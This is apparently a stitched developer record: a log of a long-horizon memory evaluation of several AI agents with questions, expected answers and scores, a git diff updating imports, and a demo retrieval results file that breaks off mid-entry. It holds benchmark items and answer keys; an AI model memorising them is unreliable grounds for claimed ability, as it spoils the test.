[azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:29,410 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:29,410 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:29,410 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:29,410 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:29,410 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:29,410 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:29,410 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:29,410 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:29,410 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:29,410 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:29,410 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:29,410 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:29,468 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-1 (event_id=13bee432dd2c): How many different projects have I told you about? +2026-03-13 03:28:42,401 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for 651e4d90519a from agent-2: Based on the facts provided, James O'Brien is allergic to **gluten**. +2026-03-13 03:28:42,402 [amplihack.eval.long_horizon_memory] INFO: Score: 1.00 | Answer: Based on the facts provided, James O'Brien is allergic to **gluten**.... +2026-03-13 03:28:42,403 [amplihack.eval.long_horizon_memory] INFO: Completed 8/20 questions (40%) +2026-03-13 03:28:42,403 [amplihack.eval.long_horizon_memory] INFO: Question 18/20: How many failed SSH logins came from IP 192.168.1.45? +2026-03-13 03:28:42,594 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:28:42,712 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:42,712 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:42,712 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:42,712 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:42,713 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:42,713 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:42,713 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:42,713 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:42,771 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:42,821 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:42,871 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:42,922 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:42,922 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:42,972 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:42,973 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:43,183 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:43,242 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:43,358 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:43,359 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:43,359 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:43,359 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:43,359 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:43,359 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:43,359 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:43,359 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:28:43,359 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:28:43,359 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:43,359 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:28:43,359 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:43,359 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:28:43,359 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:28:43,417 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-2 (event_id=06e865d4e7ac): How many failed SSH logins came from IP 192.168.1.45? +2026-03-13 03:29:05,337 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for 17294aae2a1a from agent-4: Priya Patel has no known allergies. +2026-03-13 03:29:07,294 [amplihack.eval.long_horizon_memory] INFO: Score: 0.95 | Answer: Priya Patel has no known allergies.... +2026-03-13 03:29:07,294 [amplihack.eval.long_horizon_memory] INFO: Completed 9/20 questions (45%) +2026-03-13 03:29:07,294 [amplihack.eval.long_horizon_memory] INFO: Question 19/20: What is the current status of INC-2024-001? +2026-03-13 03:29:07,494 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:29:07,612 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:29:07,612 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:29:07,612 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:29:07,612 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:29:07,612 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:07,612 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:29:07,612 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:07,612 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:29:07,670 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:29:07,721 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:29:07,771 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:29:07,822 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:07,822 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:29:07,872 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:07,872 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:29:08,082 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:08,142 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:08,260 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:08,260 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:08,260 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:29:08,260 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:08,260 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:29:08,260 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:29:08,260 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:29:08,260 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:29:08,260 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:29:08,260 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:08,260 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:29:08,260 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:08,260 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:29:08,260 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:08,318 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-3 (event_id=d55bee385a33): What is the current status of INC-2024-001? +2026-03-13 03:29:08,344 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for c6efd2532e42 from agent-1: ## Q3 Revenue Claims: Multiple Conflicting Figures + +There are **three different +2026-03-13 03:29:10,651 [amplihack.eval.long_horizon_memory] INFO: Score: 0.98 | Answer: ## Q3 Revenue Claims: Multiple Conflicting Figures + +There are **three different ... +2026-03-13 03:29:10,652 [amplihack.eval.long_horizon_memory] INFO: Completed 10/20 questions (50%) +2026-03-13 03:29:10,652 [amplihack.eval.long_horizon_memory] INFO: Question 20/20: Which subnet hosts the production Kubernetes cluster? +2026-03-13 03:29:10,839 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:29:10,956 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:29:10,956 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:29:10,956 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:29:10,956 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:29:10,956 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:10,956 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:29:10,956 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:10,956 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:29:11,014 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:29:11,064 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:29:11,114 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:29:11,165 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:11,165 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:29:11,215 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:11,215 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:29:11,425 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:11,483 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:11,599 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:11,600 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:11,600 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:29:11,600 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:11,600 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:29:11,600 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:29:11,600 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:29:11,600 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:29:11,600 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:29:11,600 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:11,600 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:29:11,600 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:11,600 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:29:11,600 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:29:11,658 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-4 (event_id=c5a93bf4924d): Which subnet hosts the production Kubernetes cluster? +2026-03-13 03:29:17,765 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for 53defa7509c6 from agent-0: **Restating the question:** What was the Q1 revenue figure, and how did it compa +2026-03-13 03:29:17,766 [amplihack.eval.long_horizon_memory] INFO: Score: 1.00 | Answer: **Restating the question:** What was the Q1 revenue figure, and how did it compa... +2026-03-13 03:29:17,766 [amplihack.eval.long_horizon_memory] INFO: Completed 11/20 questions (55%) +2026-03-13 03:29:18,968 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for fd672e6bfa8c from agent-2: Based on the facts provided: + +Sarah Chen is currently leading **Project Atlas** +2026-03-13 03:29:18,969 [amplihack.eval.long_horizon_memory] INFO: Score: 1.00 | Answer: Based on the facts provided: + +Sarah Chen is currently leading **Project Atlas** ... +2026-03-13 03:29:18,970 [amplihack.eval.long_horizon_memory] INFO: Completed 12/20 questions (60%) +2026-03-13 03:29:46,228 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for 13bee432dd2c from agent-1: Scanning all facts for distinct projects: + +1. **Project Beacon** (facts 39–43, 6 +2026-03-13 03:29:46,230 [amplihack.eval.long_horizon_memory] INFO: Score: 0.50 | Answer: Scanning all facts for distinct projects: + +1. **Project Beacon** (facts 39–43, 6... +2026-03-13 03:29:46,230 [amplihack.eval.long_horizon_memory] INFO: Completed 13/20 questions (65%) +2026-03-13 03:29:57,579 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for c5a93bf4924d from agent-4: Based on the facts provided, the production Kubernetes cluster named **'k8s-prod +2026-03-13 03:29:57,580 [amplihack.eval.long_horizon_memory] INFO: Score: 1.00 | Answer: Based on the facts provided, the production Kubernetes cluster named **'k8s-prod... +2026-03-13 03:29:57,580 [amplihack.eval.long_horizon_memory] INFO: Completed 14/20 questions (70%) +2026-03-13 03:30:03,993 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for 06e865d4e7ac from agent-2: Based on the facts provided, there were **6 failed SSH login attempts** from IP +2026-03-13 03:30:03,994 [amplihack.eval.long_horizon_memory] INFO: Score: 1.00 | Answer: Based on the facts provided, there were **6 failed SSH login attempts** from IP ... +2026-03-13 03:30:03,995 [amplihack.eval.long_horizon_memory] INFO: Completed 15/20 questions (75%) +2026-03-13 03:30:15,418 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for 0f6bd60881cc from agent-0: **The internal audit reported server migration costs of $450,000, while the vend +2026-03-13 03:30:17,120 [amplihack.eval.long_horizon_memory] INFO: Score: 0.97 | Answer: **The internal audit reported server migration costs of $450,000, while the vend... +2026-03-13 03:30:17,120 [amplihack.eval.long_horizon_memory] INFO: Completed 16/20 questions (80%) +2026-03-13 03:30:19,026 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for 7f5a381331c0 from agent-3: The Q2 marketing budget was **15% over** the original estimate. + +Specifically, t +2026-03-13 03:30:19,028 [amplihack.eval.long_horizon_memory] INFO: Score: 1.00 | Answer: The Q2 marketing budget was **15% over** the original estimate. + +Specifically, t... +2026-03-13 03:30:19,028 [amplihack.eval.long_horizon_memory] INFO: Completed 17/20 questions (85%) +2026-03-13 03:30:41,274 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for 001c9d248872 from agent-0: Based on the facts, **Elena Volkov does not have any pets**. +2026-03-13 03:30:41,275 [amplihack.eval.long_horizon_memory] INFO: Score: 1.00 | Answer: Based on the facts, **Elena Volkov does not have any pets**.... +2026-03-13 03:30:41,275 [amplihack.eval.long_horizon_memory] INFO: Completed 18/20 questions (90%) +2026-03-13 03:30:52,098 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for b02b3eec1610 from agent-3: **Yuki Tanaka** replaced Fatima Al-Hassan on **Project Echo**. + +Fatima Al-Hassan +2026-03-13 03:30:52,099 [amplihack.eval.long_horizon_memory] INFO: Score: 1.00 | Answer: **Yuki Tanaka** replaced Fatima Al-Hassan on **Project Echo**. + +Fatima Al-Hassan... +2026-03-13 03:30:52,100 [amplihack.eval.long_horizon_memory] INFO: Completed 19/20 questions (95%) +2026-03-13 03:31:22,764 [remote_agent_adapter] INFO: RemoteAgentAdapter: got answer for d55bee385a33 from agent-3: The current status of INC-2024-001 is **'investigating'**. + +**Chronological chai +2026-03-13 03:31:24,643 [amplihack.eval.long_horizon_memory] INFO: Score: 0.97 | Answer: The current status of INC-2024-001 is **'investigating'**. + +**Chronological chai... +2026-03-13 03:31:24,643 [amplihack.eval.long_horizon_memory] INFO: Completed 20/20 questions (100%) +2026-03-13 03:31:24,644 [amplihack.eval.long_horizon_memory] INFO: Evaluation complete: overall=96.92%, learning=97.9s, grading=11.8s +2026-03-13 03:31:29,645 [eval_distributed] INFO: Report written to /tmp/distributed_eval_42.json + +====================================================================== +LONG-HORIZON MEMORY EVALUATION REPORT +====================================================================== +Turns: 100 | Questions: 20 +Facts delivered: 309 +Learning time: 97.9s +Question+Grading time: 686.5s + +OVERALL SCORE: 96.92% + +CATEGORY BREAKDOWN: +---------------------------------------------------------------------- +Category Avg Min Max Count +---------------------------------------------------------------------- +cross_reference 100.00% 100.00% 100.00% 2 +distractor_resistance 97.50% 95.00% 100.00% 2 +incident_tracking 97.50% 97.50% 97.50% 1 +infrastructure_knowledge 100.00% 100.00% 100.00% 1 +meta_memory 50.00% 50.00% 50.00% 1 +needle_in_haystack 100.00% 100.00% 100.00% 4 +numerical_precision 100.00% 100.00% 100.00% 3 +security_log_analysis 100.00% 100.00% 100.00% 1 +source_attribution 97.92% 97.50% 98.33% 2 +temporal_evolution 100.00% 100.00% 100.00% 3 +---------------------------------------------------------------------- + +DIMENSION AVERAGES BY CATEGORY: + cross_reference: factual_accuracy: 100.00%, specificity: 100.00% + distractor_resistance: confidence_calibration: 90.00%, factual_accuracy: 100.00% + incident_tracking: factual_accuracy: 100.00%, temporal_awareness: 95.00% + infrastructure_knowledge: factual_accuracy: 100.00%, specificity: 100.00% + meta_memory: factual_accuracy: 50.00%, specificity: 50.00% + needle_in_haystack: factual_accuracy: 100.00%, specificity: 100.00% + numerical_precision: factual_accuracy: 100.00%, specificity: 100.00% + security_log_analysis: factual_accuracy: 100.00%, specificity: 100.00% + source_attribution: factual_accuracy: 100.00%, source_attribution: 95.00%, specificity: 100.00% + temporal_evolution: factual_accuracy: 100.00%, specificity: 100.00%, temporal_awareness: 100.00% + +MEMORY STATS: + adapter: remote + learn_count: 100 + question_count: 20 + agent_count: 5 + +WORST 5 QUESTIONS: + [50.00%] How many different projects have I told you about? + Expected: 5 projects: Atlas, Beacon, Cascade, Delta, and Echo + Got: Scanning all facts for distinct projects: + +1. **Project Beacon** (facts 39–43, 6 + + [95.00%] What is Priya Patel's allergy? Answer with ONLY the allergy + Expected: Priya Patel has no known allergies (none). + Got: Priya Patel has no known allergies. + + [97.50%] What does the internal audit say the server migration cost w + Expected: Internal audit: $450K; Vendor invoice: $387K. The $63K difference was consulting + Got: **The internal audit reported server migration costs of $450,000, while the vend + + [97.50%] What is the current status of INC-2024-001? + Expected: INC-2024-001 is under investigation (root cause analysis in progress). + Got: The current status of INC-2024-001 is **'investigating'**. + +**Chronological chai + + [98.33%] What are the different claims about Q3 revenue and who made + Expected: Finance Department: $5.2M (includes deferred revenue); External Auditor: $4.8M ( + Got: ## Q3 Revenue Claims: Multiple Conflicting Figures + +There are **three different + diff --git a/examples/code_context_injection_demo.py b/examples/code_context_injection_demo.py index 8781f18eb..4a4317c79 100644 --- a/examples/code_context_injection_demo.py +++ b/examples/code_context_injection_demo.py @@ -15,7 +15,7 @@ sys.path.insert(0, str(Path(__file__).parent.parent / "src")) from amplihack.memory.coordinator import MemoryCoordinator, RetrievalQuery, StorageRequest -from amplihack.memory.types import MemoryType +from amplihack.memory.models import MemoryType async def demo_code_context_injection(): @@ -28,7 +28,7 @@ async def demo_code_context_injection(): # Create coordinator with Kuzu backend print("1. Initializing memory coordinator with Kuzu backend...") try: - from amplihack.memory.backends import create_backend + from amplihack.memory.sqlite_backend import create_backend backend = create_backend("kuzu", db_path="/tmp/demo_code_context.db") coordinator = MemoryCoordinator(backend=backend) @@ -54,7 +54,7 @@ async def demo_code_context_injection(): content="Learned that Kuzu uses Cypher-like query syntax for graph traversal", memory_type=MemoryType.SEMANTIC, metadata={ - "file": "src/amplihack/memory/backends/kuzu_backend.py", + "file": "src/amplihack/memory/kuzu_store.py", "topic": "graph queries", }, ), @@ -62,7 +62,7 @@ async def demo_code_context_injection(): content="Procedure: Always validate input parameters before executing Kuzu queries", memory_type=MemoryType.PROCEDURAL, metadata={ - "file": "src/amplihack/memory/backends/kuzu_backend.py", + "file": "src/amplihack/memory/kuzu_store.py", "category": "best_practices", }, ), diff --git a/examples/memory_code_auto_linking_example.py b/examples/memory_code_auto_linking_example.py index a5b646ff2..22485797f 100644 --- a/examples/memory_code_auto_linking_example.py +++ b/examples/memory_code_auto_linking_example.py @@ -17,7 +17,7 @@ from datetime import datetime from pathlib import Path -from src.amplihack.memory.backends.kuzu_backend import KuzuBackend +from amplihack.memory.kuzu_store import KuzuGraphStore from src.amplihack.memory.models import MemoryEntry, MemoryType diff --git a/examples/simple_code_context_test.py b/examples/simple_code_context_test.py index f3cb67361..adeb60728 100644 --- a/examples/simple_code_context_test.py +++ b/examples/simple_code_context_test.py @@ -10,7 +10,7 @@ sys.path.insert(0, str(Path(__file__).parent.parent / "src")) from amplihack.memory.coordinator import MemoryCoordinator, RetrievalQuery, StorageRequest -from amplihack.memory.types import MemoryType +from amplihack.memory.models import MemoryType async def test_code_context_parameter(): @@ -19,7 +19,7 @@ async def test_code_context_parameter(): print() # Create coordinator - from amplihack.memory.backends import create_backend + from amplihack.memory.sqlite_backend import create_backend backend = create_backend("kuzu", db_path="/tmp/simple_test.db") coordinator = MemoryCoordinator(backend=backend) diff --git a/experiments/hive_mind/eval_demo_results.json b/experiments/hive_mind/eval_demo_results.json new file mode 100644 index 000000000..028e13eaf --- /dev/null +++ b/experiments/hive_mind/eval_demo_results.json @@ -0,0 +1,349 @@ +{ + "mode": "demo_local", + "summary": { + "total_questions": 15, + "hits": 12, + "accuracy_pct": 80.0, + "elapsed_s": 0.0, + "hive_type": "DistributedHiveGraph (local)", + "agents": 5, + "facts_seeded": 30 + }, + "domain_scores": { + "biology": { + "hits": 3, + "total": 3, + "pct": 100.0 + }, + "chemistry": { + "hits": 2, + "total": 3, + "pct": 66.66666666666667 + }, + "physics": { + "hits": 2, + "total": 3, + "pct": 66.66666666666667 + }, + "mathematics": { + "hits": 2, + "total": 3, + "pct": 66.66666666666667 + }, + "computer_science": { + "hits": 3, + "total": 3, + "pct": 100.0 + } + }, + "questions": [ + { + "domain": "biology", + "question": "What are cells made of?", + "expected_keywords": [ + "unit", + "life" + ], + "hit": true, + "result_count": 1, + "top_results": [ + { + "content": "Cells are the fundamental units of life and contain organelles.", + "concept": "cells", + "confidence": 0.95 + } + ] + }, + { + "domain": "biology", + "question": "How does DNA store information?", + "expected_keywords": [ + "nucleotide", + "genetic" + ], + "hit": true, + "result_count": 3, + "top_results": [ + { + "content": "Hydrogen bonds are weak intermolecular forces important in protein and DNA structure.", + "concept": "bonds", + "confidence": 0.95 + }, + { + "content": "Photosynthesis converts CO2 and water into glucose using light energy stored as chemical energy.", + "concept": "photosynthesis", + "confidence": 0.95 + }, + { + "content": "DNA encodes genetic information using four nucleotide bases: A, T, C, G.", + "concept": "dna", + "confidence": 0.95 + } + ] + }, + { + "domain": "biology", + "question": "What do enzymes do?", + "expected_keywords": [ + "catalyst", + "protein" + ], + "hit": true, + "result_count": 1, + "top_results": [ + { + "content": "Proteins are chains of amino acids and act as biological catalysts called enzymes.", + "concept": "proteins", + "confidence": 0.95 + } + ] + }, + { + "domain": "chemistry", + "question": "What is the structure of water?", + "expected_keywords": [ + "H2O", + "bent" + ], + "hit": false, + "result_count": 1, + "top_results": [ + { + "content": "Hydrogen bonds are weak intermolecular forces important in protein and DNA structure.", + "concept": "bonds", + "confidence": 0.95 + } + ] + }, + { + "domain": "chemistry", + "question": "How do covalent bonds work?", + "expected_keywords": [ + "electron", + "share" + ], + "hit": true, + "result_count": 2, + "top_results": [ + { + "content": "Covalent bonds share electron pairs between atoms; ionic bonds form between oppositely charged ions.", + "concept": "bonds", + "confidence": 0.95 + }, + { + "content": "Hydrogen bonds are weak intermolecular forces important in protein and DNA structure.", + "concept": "bonds", + "confidence": 0.95 + } + ] + }, + { + "domain": "chemistry", + "question": "What does pH measure?", + "expected_keywords": [ + "hydrogen", + "concentration" + ], + "hit": true, + "result_count": 4, + "top_results": [ + { + "content": "The mitochondria is the powerhouse of the cell producing ATP via oxidative phosphorylation.", + "concept": "cells", + "confidence": 0.95 + }, + { + "content": "pH measures hydrogen ion concentration on a log scale; acids donate protons per Bronsted-Lowry theory.", + "concept": "acids", + "confidence": 0.95 + }, + { + "content": "Photosynthesis converts CO2 and water into glucose using light energy stored as chemical energy.", + "concept": "photosynthesis", + "confidence": 0.95 + } + ] + }, + { + "domain": "physics", + "question": "What is Newton's second law?", + "expected_keywords": [ + "F", + "ma" + ], + "hit": true, + "result_count": 2, + "top_results": [ + { + "content": "The speed of light in a vacuum is approximately 299792458 metres per second.", + "concept": "waves", + "confidence": 0.95 + }, + { + "content": "Newton second law states F equals ma where F is force mass times acceleration.", + "concept": "mechanics", + "confidence": 0.95 + } + ] + }, + { + "domain": "physics", + "question": "What is the speed of light?", + "expected_keywords": [ + "299792" + ], + "hit": true, + "result_count": 2, + "top_results": [ + { + "content": "The speed of light in a vacuum is approximately 299792458 metres per second.", + "concept": "waves", + "confidence": 0.95 + }, + { + "content": "E equals mc squared relates mass and energy via the speed of light squared.", + "concept": "relativity", + "confidence": 0.95 + } + ] + }, + { + "domain": "physics", + "question": "What does E=mc^2 mean?", + "expected_keywords": [ + "mass", + "energy" + ], + "hit": false, + "result_count": 0, + "top_results": [] + }, + { + "domain": "mathematics", + "question": "What is the Pythagorean theorem?", + "expected_keywords": [ + "a squared", + "b squared", + "c squared" + ], + "hit": true, + "result_count": 1, + "top_results": [ + { + "content": "Pythagorean theorem states a squared plus b squared equals c squared for right triangles.", + "concept": "geometry", + "confidence": 0.95 + } + ] + }, + { + "domain": "mathematics", + "question": "What does a derivative measure?", + "expected_keywords": [ + "rate", + "change" + ], + "hit": true, + "result_count": 1, + "top_results": [ + { + "content": "Derivatives measure instantaneous rate of change; integrals compute area under curves.", + "concept": "calculus", + "confidence": 0.95 + } + ] + }, + { + "domain": "mathematics", + "question": "What is Pi?", + "expected_keywords": [ + "circumference", + "diameter" + ], + "hit": false, + "result_count": 0, + "top_results": [] + }, + { + "domain": "computer_science", + "question": "What is the time complexity of binary search?", + "expected_keywords": [ + "log", + "n" + ], + "hit": true, + "result_count": 3, + "top_results": [ + { + "content": "Binary search runs in O log n time by halving the search space each iteration.", + "concept": "algorithms", + "confidence": 0.95 + }, + { + "content": "Newton second law states F equals ma where F is force mass times acceleration.", + "concept": "mechanics", + "confidence": 0.95 + }, + { + "content": "Hash tables provide O 1 average lookup time using hash functions for key-value storage.", + "concept": "data_structures", + "confidence": 0.95 + } + ] + }, + { + "domain": "computer_science", + "question": "What are ACID properties?", + "expected_keywords": [ + "transaction", + "reliab" + ], + "hit": true, + "result_count": 3, + "top_results": [ + { + "content": "Proteins are chains of amino acids and act as biological catalysts called enzymes.", + "concept": "proteins", + "confidence": 0.95 + }, + { + "content": "pH measures hydrogen ion concentration on a log scale; acids donate protons per Bronsted-Lowry theory.", + "concept": "acids", + "confidence": 0.95 + }, + { + "content": "ACID properties ensure transaction reliability: Atomicity Consistency Isolation Durability.", + "concept": "databases", + "confidence": 0.95 + } + ] + }, + { + "domain": "computer_science", + "question": "What does CAP theorem state?", + "expected_keywords": [ + "consistency", + "partition" + ], + "hit": true, + "result_count": 3, + "top_results": [ + { + "content": "CAP theorem states distributed systems can guarantee only two of Consistency Availability Partition tolerance.", + "concept": "distributed", + "confidence": 0.95 + }, + { + "content": "Pythagorean theorem states a squared plus b squared equals c squared for right triangles.", + "concept": "geometry", + "confidence": 0.95 + }, + { + "content": "Water molecule is H2O with bent geometry and high specific heat capacity.", + "concept": "water", + "confidence": 0.95 + } + ] + } + ] +} \ No newline at end of file diff --git a/experiments/hive_mind/eval_live_results.json b/experiments/hive_mind/eval_live_results.json new file mode 100644 index 000000000..bc2bb52bf --- /dev/null +++ b/experiments/hive_mind/eval_live_results.json @@ -0,0 +1,222 @@ +{ + "mode": "live", + "summary": { + "total_questions": 15, + "hits": 0, + "accuracy_pct": 0.0, + "elapsed_s": 225.8, + "hive_namespace": "hive-sb-dj2qo2w7vu5zi", + "topic": "hive-graph", + "timeout_s": 15.0, + "table": "hive_facts" + }, + "domain_scores": { + "biology": { + "hits": 0, + "total": 3, + "pct": 0.0 + }, + "chemistry": { + "hits": 0, + "total": 3, + "pct": 0.0 + }, + "physics": { + "hits": 0, + "total": 3, + "pct": 0.0 + }, + "mathematics": { + "hits": 0, + "total": 3, + "pct": 0.0 + }, + "computer_science": { + "hits": 0, + "total": 3, + "pct": 0.0 + } + }, + "questions": [ + { + "domain": "biology", + "question": "What are cells made of?", + "expected_keywords": [ + "unit", + "life" + ], + "hit": false, + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + }, + { + "domain": "biology", + "question": "How does DNA store information?", + "expected_keywords": [ + 